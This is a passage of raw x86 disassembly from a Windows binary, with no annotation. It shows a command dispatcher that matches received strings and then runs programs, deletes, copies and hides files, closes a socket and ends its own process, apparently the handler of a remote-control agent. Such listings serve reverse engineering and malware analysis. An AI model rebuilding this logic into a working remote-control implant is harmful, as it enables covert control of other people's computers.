mov eax, dword [ebp - 0x630]
call fcn.00482cc8
lea eax, [ebp - 0x638]
push eax
mov ecx, 8
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov eax, dword [ebp - 0x638]
mov edx, 0x48cdd4
call fcn.00405850
jne 0x4846eb
lea eax, [ebp - 4]
mov ecx, 8
mov edx, 1
call fcn.00405960
lea eax, [ebp - 0x1c]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00405960
lea eax, [ebp - 0x20]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00405960
lea eax, [ebp - 0x24]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00405960
lea eax, [ebp - 0x28]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00405960
lea eax, [ebp - 0x2c]
mov edx, dword [ebp - 4]
call fcn.004054c0
push 0x14
push 0x40
call sub.kernel32.dll_LocalAlloc_1
mov ebx, eax
mov esi, ebx
mov eax, esi
mov edx, dword [ebp - 0x1c]
call fcn.0040547c
lea eax, [esi + 4]
mov edx, dword [ebp - 0x20]
call fcn.0040547c
lea eax, [esi + 8]
mov edx, dword [ebp - 0x24]
call fcn.0040547c
lea eax, [esi + 0xc]
mov edx, dword [ebp - 0x28]
call fcn.0040547c
lea eax, [esi + 0x10]
mov edx, dword [ebp - 0x2c]
call fcn.0040547c
lea eax, [ebp - 0x2b0]
push eax
push 0
push ebx
push 0x492b0c
push 0
push 0
call sub.kernel32.dll_CreateThread
push eax
call sub.kernel32.dll_CloseHandle_1
mov eax, dword [ebp - 4]
mov edx, 0x48cde8
call fcn.00405850
jne 0x484730
xor eax, eax
push ebp
push 0x48471c
push dword fs:[eax]
mov dword fs:[eax], esp
call sub.kernel32.dll_GetCurrentProcessId
call fcn.004636b8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x484730
mov eax, dword [ebp - 4]
mov edx, 0x48ce28
call fcn.00405850
jne 0x484776
xor eax, eax
push ebp
push 0x484762
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x4a87e8]
push eax
call sub.wsock32.dll_closesocket
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x484776
mov eax, dword [ebp - 4]
mov edx, 0x48ce6c
call fcn.00405850
jne 0x4847f3
xor eax, eax
push ebp
push 0x4847df
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x48ce84
lea edx, [ebp - 0x640]
xor eax, eax
call fcn.0040f194
push dword [ebp - 0x640]
push 0x48ceac
lea eax, [ebp - 0x63c]
mov edx, 3
call fcn.004057bc
mov eax, dword [ebp - 0x63c]
call fcn.004637e4
call sub.kernel32.dll_GetCurrentProcessId
call fcn.004636b8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4847f3
lea eax, [ebp - 0x644]
push eax
mov ecx, 0x12
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov eax, dword [ebp - 0x644]
mov edx, 0x48cee4
call fcn.00405850
jne 0x484868
lea eax, [ebp - 4]
mov ecx, 0x12
mov edx, 1
call fcn.00405960
xor eax, eax
push ebp
push 0x484854
push dword fs:[eax]
mov dword fs:[eax], esp
xor ecx, ecx
mov edx, dword [ebp - 4]
xor eax, eax
call fcn.0049a488
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x484868
lea eax, [ebp - 0x648]
push eax
mov ecx, 0xf
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov eax, dword [ebp - 0x648]
mov edx, 0x48cf30
call fcn.00405850
jne 0x4849a3
lea eax, [ebp - 4]
mov ecx, 0xf
mov edx, 1
call fcn.00405960
lea eax, [ebp - 0x1c]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00405960
lea eax, [ebp - 0x20]
mov edx, dword [ebp - 4]
call fcn.004054c0
xor eax, eax
push ebp
push 0x48498f
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 0x64c]
mov eax, dword [ebp - 0x1c]
call fcn.00409ae0
cmp dword [ebp - 0x64c], 0
je 0x484952
push 5
lea edx, [ebp - 0x650]
mov eax, dword [ebp - 0x1c]
call fcn.0040a504
mov eax, dword [ebp - 0x650]
call fcn.004058b8
push eax
mov eax, dword [ebp - 0x20]
call fcn.004058b8
push eax
mov eax, dword [ebp - 0x1c]
call fcn.004058b8
push eax
push 0x48ccfc
push 0
call sub.shell32.dll_ShellExecuteA
jmp 0x484985
push 5
lea edx, [ebp - 0x654]
mov eax, dword [ebp - 0x1c]
call fcn.0040a504
mov eax, dword [ebp - 0x654]
call fcn.004058b8
push eax
push 0
mov eax, dword [ebp - 0x1c]
call fcn.004058b8
push eax
push 0x48ccfc
push 0
call sub.shell32.dll_ShellExecuteA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4849a3
lea eax, [ebp - 0x658]
push eax
mov ecx, 0x11
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov eax, dword [ebp - 0x658]
mov edx, 0x48cf70
call fcn.00405850
jne 0x484ade
lea eax, [ebp - 4]
mov ecx, 0x11
mov edx, 1
call fcn.00405960
lea eax, [ebp - 0x1c]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00405960
lea eax, [ebp - 0x20]
mov edx, dword [ebp - 4]
call fcn.004054c0
xor eax, eax
push ebp
push 0x484aca
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 0x65c]
mov eax, dword [ebp - 0x1c]
call fcn.00409ae0
cmp dword [ebp - 0x65c], 0
je 0x484a8d
push 0
lea edx, [ebp - 0x660]
mov eax, dword [ebp - 0x1c]
call fcn.0040a504
mov eax, dword [ebp - 0x660]
call fcn.004058b8
push eax
mov eax, dword [ebp - 0x20]
call fcn.004058b8
push eax
mov eax, dword [ebp - 0x1c]
call fcn.004058b8
push eax
push 0x48ccfc
push 0
call sub.shell32.dll_ShellExecuteA
jmp 0x484ac0
push 0
lea edx, [ebp - 0x664]
mov eax, dword [ebp - 0x1c]
call fcn.0040a504
mov eax, dword [ebp - 0x664]
call fcn.004058b8
push eax
push 0
mov eax, dword [ebp - 0x1c]
call fcn.004058b8
push eax
push 0x48ccfc
push 0
call sub.shell32.dll_ShellExecuteA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x484ade
lea eax, [ebp - 0x668]
push eax
mov ecx, 7
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov eax, dword [ebp - 0x668]
mov edx, 0x48cf8c
call fcn.00405850
jne 0x484ba4
lea eax, [ebp - 4]
mov ecx, 7
mov edx, 1
call fcn.00405960
lea eax, [ebp - 0x34]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00405960
xor eax, eax
push ebp
push 0x484b90
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.00409e40
mov edx, eax
mov eax, dword [ebp - 0x34]
call fcn.0049a524
mov eax, 0x48cf9c
call fcn.00482cc8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x484ba4
lea eax, [ebp - 0x66c]
push eax
mov ecx, 0xb
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov eax, dword [ebp - 0x66c]
mov edx, 0x48cfe0
call fcn.00405850
jne 0x484ce5
lea eax, [ebp - 4]
mov ecx, 0xb
mov edx, 1
call fcn.00405960
lea eax, [ebp - 0x38]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x48cff4
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov edx, dword [ebp - 4]
mov eax, 0x48cff4
call fcn.00405a04
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00405960
xor eax, eax
push ebp
push 0x484cd1
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.00409e40
dec eax
jle 0x484cb9
mov eax, dword [ebp - 4]
call fcn.00409e40
mov ebx, eax
test ebx, ebx
jl 0x484cc7
inc ebx
xor esi, esi
mov eax, dword [ebp - 4]
call fcn.00409e40
cmp esi, eax
jne 0x484c68
mov eax, dword [ebp - 0x38]
call fcn.004058b8
push eax
call sub.kernel32.dll_DeleteFileA
jmp 0x484cb3
lea eax, [ebp - 0x3c]
push eax
mov edx, dword [ebp - 0x38]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 0x38]
call fcn.00405920
mov edx, dword [ebp - 0x38]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
lea eax, [ebp - 0x38]
mov edx, 1
call fcn.00405960
mov eax, dword [ebp - 0x3c]
call fcn.004058b8
push eax
call sub.kernel32.dll_DeleteFileA
inc esi
dec ebx
jne 0x484c4c
jmp 0x484cc7
mov eax, dword [ebp - 0x38]
call fcn.004058b8
push eax
call sub.kernel32.dll_DeleteFileA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x484ce5
lea eax, [ebp - 0x670]
push eax
mov ecx, 0x10
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov eax, dword [ebp - 0x670]
mov edx, 0x48d02c
call fcn.00405850
jne 0x484e14
lea eax, [ebp - 4]
mov ecx, 0x10
mov edx, 1
call fcn.00405960
lea eax, [ebp - 0x38]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x48cff4
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov edx, dword [ebp - 4]
mov eax, 0x48cff4
call fcn.00405a04
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00405960
xor eax, eax
push ebp
push 0x484e00
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.00409e40
dec eax
jle 0x484dee
mov eax, dword [ebp - 4]
call fcn.00409e40
mov ebx, eax
test ebx, ebx
jl 0x484df6
inc ebx
xor esi, esi
mov eax, dword [ebp - 4]
call fcn.00409e40
cmp esi, eax
jne 0x484da3
mov eax, dword [ebp - 0x38]
call fcn.0049a62c
jmp 0x484de8
lea eax, [ebp - 0x3c]
push eax
mov edx, dword [ebp - 0x38]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 0x38]
call fcn.00405920
mov edx, dword [ebp - 0x38]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
lea eax, [ebp - 0x38]
mov edx, 1
call fcn.00405960
mov eax, dword [ebp - 0x3c]
call fcn.0049a62c
inc esi
dec ebx
jne 0x484d8d
jmp 0x484df6
mov eax, dword [ebp - 0x38]
call fcn.0049a62c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x484e14
mov eax, dword [ebp - 4]
mov edx, 0x48d078
call fcn.00405850
jne 0x484e54
xor eax, eax
push ebp
push 0x484e40
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.0049a6d0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x484e54
lea eax, [ebp - 0x674]
push eax
mov ecx, 0xc
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov eax, dword [ebp - 0x674]
mov edx, 0x48d0b4
call fcn.00405850
jne 0x484ed0
lea eax, [ebp - 4]
mov ecx, 0xc
mov edx, 1
call fcn.00405960
xor eax, eax
push ebp
push 0x484ebc
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x80
mov eax, dword [ebp - 4]
call fcn.004058b8
push eax
call sub.kernel32.dll_SetFileAttributesA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x484ed0
lea eax, [ebp - 0x678]
push eax
mov ecx, 0xc
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov eax, dword [ebp - 0x678]
mov edx, 0x48d0f8
call fcn.00405850
jne 0x484f49
lea eax, [ebp - 4]
mov ecx, 0xc
mov edx, 1
call fcn.00405960
xor eax, eax
push ebp
push 0x484f35
push dword fs:[eax]
mov dword fs:[eax], esp
push 2
mov eax, dword [ebp - 4]
call fcn.004058b8
push eax
call sub.kernel32.dll_SetFileAttributesA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x484f49
lea eax, [ebp - 0x67c]
push eax
mov ecx, 8
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov eax, dword [ebp - 0x67c]
mov edx, 0x48d13c
call fcn.00405850
jne 0x484fc2
lea eax, [ebp - 4]
mov ecx, 8
mov edx, 1
call fcn.00405960
xor eax, eax
push ebp
push 0x484fae
push dword fs:[eax]
mov dword fs:[eax], esp
push 1
mov eax, dword [ebp - 4]
call fcn.004058b8
push eax
call sub.kernel32.dll_SetFileAttributesA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x484fc2
lea eax, [ebp - 0x680]
push eax
mov ecx, 0xc
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov eax, dword [ebp - 0x680]
mov edx, 0x48d180
call fcn.00405850
jne 0x48503b
lea eax, [ebp - 4]
mov ecx, 0xc
mov edx, 1
call fcn.00405960
xor eax, eax
push ebp
push 0x485027
push dword fs:[eax]
mov dword fs:[eax], esp
push 4
mov eax, dword [ebp - 4]
call fcn.004058b8
push eax
call sub.kernel32.dll_SetFileAttributesA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x48503b
lea eax, [ebp - 0x684]
push eax
mov ecx, 0xd
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov eax, dword [ebp - 0x684]
mov edx, 0x48d1c4
call fcn.00405850
jne 0x4850b4
lea eax, [ebp - 4]
mov ecx, 0xd
mov edx, 1
call fcn.00405960
xor eax, eax
push ebp
push 0x4850a0
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x20
mov eax, dword [ebp - 4]
call fcn.004058b8
push eax
call sub.kernel32.dll_SetFileAttributesA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4850b4
lea eax, [ebp - 0x688]
push eax
mov ecx, 0xa
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov eax, dword [ebp - 0x688]
mov edx, 0x48d208
call fcn.00405850
jne 0x485130
lea eax, [ebp - 4]
mov ecx, 0xa
mov edx, 1
call fcn.00405960
xor eax, eax
push ebp
push 0x48511c
push dword fs:[eax]
mov dword fs:[eax], esp
push pe_nt_image_headers32
mov eax, dword [ebp - 4]
call fcn.004058b8
push eax
call sub.kernel32.dll_SetFileAttributesA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x485130
lea eax, [ebp - 0x68c]
push eax
mov ecx, 0xd
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov eax, dword [ebp - 0x68c]
mov edx, 0x48d244
call fcn.00405850
jne 0x4852a3
lea eax, [ebp - 4]
mov ecx, 0xd
mov edx, 1
call fcn.00405960
xor eax, eax
push ebp
push 0x48528f
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 0x2a0]
mov edx, 0x3f
mov eax, dword [ebp - 4]
call fcn.0040a3ec
mov dword [ebp - 0x2c4], eax
test dword [ebp - 0x290], 2
jle 0x4851b3
lea eax, [ebp - 0x5c]
mov edx, 0x48d25c
call fcn.004054c0
jmp 0x4851c0
lea eax, [ebp - 0x5c]
mov edx, 0x48d26c
call fcn.004054c0
test dword [ebp - 0x290], 1
jle 0x4851db
lea eax, [ebp - 0x60]
mov edx, 0x48d278
call fcn.004054c0
jmp 0x4851e8
lea eax, [ebp - 0x60]
mov edx, 0x48d26c
call fcn.004054c0
test dword [ebp - 0x290], 0x20
jle 0x485203
lea eax, [ebp - 0x64]
mov edx, 0x48d28c
call fcn.004054c0
jmp 0x485210
lea eax, [ebp - 0x64]
mov edx, 0x48d26c
call fcn.004054c0
test dword [ebp - 0x290], 4
jle 0x48522b
lea eax, [ebp - 0x68]
mov edx, 0x48d29c
call fcn.004054c0
jmp 0x485238
lea eax, [ebp - 0x68]
mov edx, 0x48d26c
call fcn.004054c0
push 0x48d2ac
push dword [ebp - 4]
push 0x48d2c4
push 0x48d2d0
push dword [ebp - 0x5c]
push 0x48d2ec
push dword [ebp - 0x60]
push 0x48d2ec
push dword [ebp - 0x64]
push 0x48d2ec
push dword [ebp - 0x68]
push 0x48d2f8
lea eax, [ebp - 0x690]
mov edx, 0xc
call fcn.004057bc
mov eax, dword [ebp - 0x690]
call fcn.00482cc8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4852a3
lea eax, [ebp - 0x694]
push eax
mov ecx, 0xb
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov eax, dword [ebp - 0x694]
mov edx, 0x48d32c
call fcn.00405850
jne 0x48573d
lea eax, [ebp - 4]
mov ecx, 0xb
mov edx, 1
call fcn.00405960
xor eax, eax
push ebp
push 0x485729
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [0x4a8938], 0
je 0x48571f
lea eax, [ebp - 0x7c]
push eax
mov edx, dword [0x4a8938]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [0x4a8938]
call fcn.00405920
mov edx, dword [0x4a8938]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
mov eax, 0x4a8938
mov edx, 1
call fcn.00405960
lea eax, [ebp - 0x698]
push eax
mov edx, dword [0x4a8938]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [0x4a8938]
call fcn.00405920
mov eax, dword [ebp - 0x698]
call fcn.00409e40
mov dword [ebp - 0x2cc], eax
mov edx, dword [0x4a8938]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
mov eax, 0x4a8938
mov edx, 1
call fcn.00405960
lea eax, [ebp - 0x78]
mov edx, dword [0x4a8938]
call fcn.004054c0
mov eax, dword [ebp - 0x78]
mov edx, 0x48d340
call fcn.00405850
jne 0x48559f
cmp dword [ebp - 0x2cc], 1
jbe 0x48554e
mov ebx, dword [ebp - 0x2cc]
test ebx, ebx
jbe 0x48570b
mov dword [ebp - 0x2d0], 1
mov eax, dword [ebp - 0x2d0]
cmp eax, dword [ebp - 0x2cc]
je 0x4854f0
push 0xffffffffffffffff
lea eax, [ebp - 0x6a4]
push eax
mov edx, dword [ebp - 0x7c]
mov eax, 0x48cff4
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 0x7c]
call fcn.00405920
mov eax, dword [ebp - 0x6a4]
lea edx, [ebp - 0x6a0]
call fcn.0040a5f0
mov ecx, dword [ebp - 0x6a0]
lea eax, [ebp - 0x69c]
mov edx, dword [ebp - 4]
call fcn.00405740
mov eax, dword [ebp - 0x69c]
call fcn.004058b8
push eax
lea eax, [ebp - 0x6a8]
push eax
mov edx, dword [ebp - 0x7c]
mov eax, 0x48cff4
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 0x7c]
call fcn.00405920
mov eax, dword [ebp - 0x6a8]
call fcn.004058b8
push eax
call sub.kernel32.dll_CopyFileA
lea eax, [ebp - 0x6ac]
push eax
mov edx, dword [ebp - 0x7c]
mov eax, 0x48cff4
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 0x7c]
call fcn.00405920
mov eax, dword [ebp - 0x6ac]
mov dword [ebp - 0x340], eax
mov eax, dword [ebp - 0x340]
call fcn.004058b8
push eax
call sub.kernel32.dll_DeleteFileA
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 0x341], al
mov edx, dword [ebp - 0x7c]
mov eax, 0x48cff4
call fcn.00405a04
mov ecx, eax
lea eax, [ebp - 0x7c]
mov edx, 1
call fcn.00405960
jmp 0x48553c
push 0xffffffffffffffff
lea edx, [ebp - 0x6b4]
mov eax, dword [ebp - 0x7c]
call fcn.0040a5f0
mov ecx, dword [ebp - 0x6b4]
lea eax, [ebp - 0x6b0]
mov edx, dword [ebp - 4]
call fcn.00405740
mov eax, dword [ebp - 0x6b0]
call fcn.004058b8
push eax
mov eax, dword [ebp - 0x7c]
call fcn.004058b8
push eax
call sub.kernel32.dll_CopyFileA
mov eax, dword [ebp - 0x7c]
call fcn.004058b8
push eax
call sub.kernel32.dll_DeleteFileA
inc dword [ebp - 0x2d0]
dec ebx
jne 0x4853e7
jmp 0x48570b
push 0xffffffffffffffff
lea edx, [ebp - 0x6bc]
mov eax, dword [ebp - 0x7c]
call fcn.0040a5f0
mov ecx, dword [ebp - 0x6bc]
lea eax, [ebp - 0x6b8]
mov edx, dword [ebp - 4]
call fcn.00405740
mov eax, dword [ebp - 0x6b8]
call fcn.004058b8
push eax
mov eax, dword [ebp - 0x7c]
call fcn.004058b8
push eax
call sub.kernel32.dll_CopyFileA
mov eax, dword [ebp - 0x7c]
call fcn.004058b8
push eax
call sub.kernel32.dll_DeleteFileA
jmp 0x48570b
cmp dword [ebp - 0x2cc], 1
jbe 0x4856cd
mov ebx, dword [ebp - 0x2cc]
test ebx, ebx
jbe 0x48570b
mov dword [ebp - 0x2d0], 1
mov eax, dword [ebp - 0x2d0]
cmp eax, dword [ebp - 0x2cc]
je 0x485680
push 0xffffffffffffffff
lea eax, [ebp - 0x6c8]
push eax
mov edx, dword [ebp - 0x7c]
mov eax, 0x48cff4
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 0x7c]
call fcn.00405920
mov eax, dword [ebp - 0x6c8]
lea edx, [ebp - 0x6c4]
call fcn.0040a5f0
mov ecx, dword [ebp - 0x6c4]
lea eax, [ebp - 0x6c0]
mov edx, dword [ebp - 4]
call fcn.00405740
mov eax, dword [ebp - 0x6c0]
call fcn.004058b8
push eax
lea eax, [ebp - 0x6cc]
push eax
mov edx, dword [ebp - 0x7c]
mov eax, 0x48cff4
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 0x7c]
call fcn.00405920
mov eax, dword [ebp - 0x6cc]
call fcn.004058b8
push eax
call sub.kernel32.dll_CopyFileA
mov edx, dword [ebp - 0x7c]
mov eax, 0x48cff4
call fcn.00405a04
mov ecx, eax
lea eax, [ebp - 0x7c]
mov edx, 1
call fcn.00405960
jmp 0x4856be
push 0xffffffffffffffff
lea edx, [ebp - 0x6d4]
mov eax, dword [ebp - 0x7c]
call fcn.0040a5f0
mov ecx, dword [ebp - 0x6d4]
lea eax, [ebp - 0x6d0]
mov edx, dword [ebp - 4]
call fcn.00405740
mov eax, dword [ebp - 0x6d0]
call fcn.004058b8
push eax
mov eax, dword [ebp - 0x7c]
call fcn.004058b8
push eax
call sub.kernel32.dll_CopyFileA
inc dword [ebp - 0x2d0]
dec ebx
jne 0x4855c4
jmp 0x48570b
push 0xffffffffffffffff
lea edx, [ebp - 0x6dc]
mov eax, dword [ebp - 0x7c]
call fcn.0040a5f0
mov ecx, dword [ebp - 0x6dc]
lea eax, [ebp - 0x6d8]
mov edx, dword [ebp - 4]
call fcn.00405740
mov eax, dword [ebp - 0x6d8]
call fcn.004058b8
push eax
mov eax, dword [ebp - 0x7c]
call fcn.004058b8
push eax
call sub.kernel32.dll_CopyFileA
mov eax, 0x4a8938
call fcn.00405428
mov eax, 0x48cf9c
call fcn.00482cc8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x48573d
lea eax, [ebp - 0x6e0]
push eax
mov ecx, 0xd
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov eax, dword [ebp - 0x6e0]
mov edx, 0x48d378
call fcn.00405850
jne 0x485787
lea eax, [ebp - 4]
mov ecx, 0xd
mov edx, 1
call fcn.00405960
mov eax, 0x4a8938
mov edx, dword [ebp - 4]
call fcn.0040547c
lea eax, [ebp - 0x6e4]
push eax
mov ecx, 8
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov eax, dword [ebp - 0x6e4]
mov edx, 0x48d390
call fcn.00405850
jne 0x48589f
lea eax, [ebp - 4]
mov ecx, 8
mov edx, 1
call fcn.00405960
xor eax, eax
push ebp
push 0x48588b
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
call sub.ole32.dll_CoInitialize
lea eax, [ebp - 0x84]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00405960
lea eax, [ebp - 0x80]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00405960
lea eax, [ebp - 0x88]
mov edx, dword [ebp - 4]
call fcn.004054c0
mov ecx, dword [ebp - 0x84]
mov edx, dword [ebp - 0x80]
mov eax, dword [ebp - 0x84]
call fcn.00464d44
call sub.ole32.dll_CoUninitialize
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x48589f
lea eax, [ebp - 0x6e8]
push eax
mov ecx, 0xa
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov eax, dword [ebp - 0x6e8]
mov edx, 0x48d3cc
call fcn.00405850
jne 0x48597e
lea eax, [ebp - 4]
mov ecx, 0xa
mov edx, 1
call fcn.00405960
xor eax, eax
push ebp
push 0x48596a
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x40]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00405960
lea eax, [ebp - 0x44]
mov edx, dword [ebp - 4]
call fcn.004054c0
lea edx, [ebp - 0x6ec]
mov eax, dword [ebp - 0x40]
call fcn.0040a504
lea eax, [ebp - 0x6ec]
mov edx, dword [ebp - 0x44]
call fcn.004056f4
mov edx, dword [ebp - 0x6ec]
mov eax, dword [ebp - 0x40]
call fcn.00463d3c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x48597e
lea eax, [ebp - 0x6f0]
push eax
mov ecx, 8
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov eax, dword [ebp - 0x6f0]
mov edx, 0x48d408
call fcn.00405850
jne 0x485a3e
lea eax, [ebp - 4]
mov ecx, 8
mov edx, 1
call fcn.00405960
xor eax, eax
push ebp
push 0x485a2a
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x40]
push eax
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.00405920
mov edx, dword [ebp - 4]
mov eax, 0x48cb6c
call fcn.00405a04
mov ecx, eax
lea eax, [ebp - 4]
mov edx, 1
call fcn.00405960
lea eax, [ebp - 0x44]
mov edx, dword [ebp - 4]
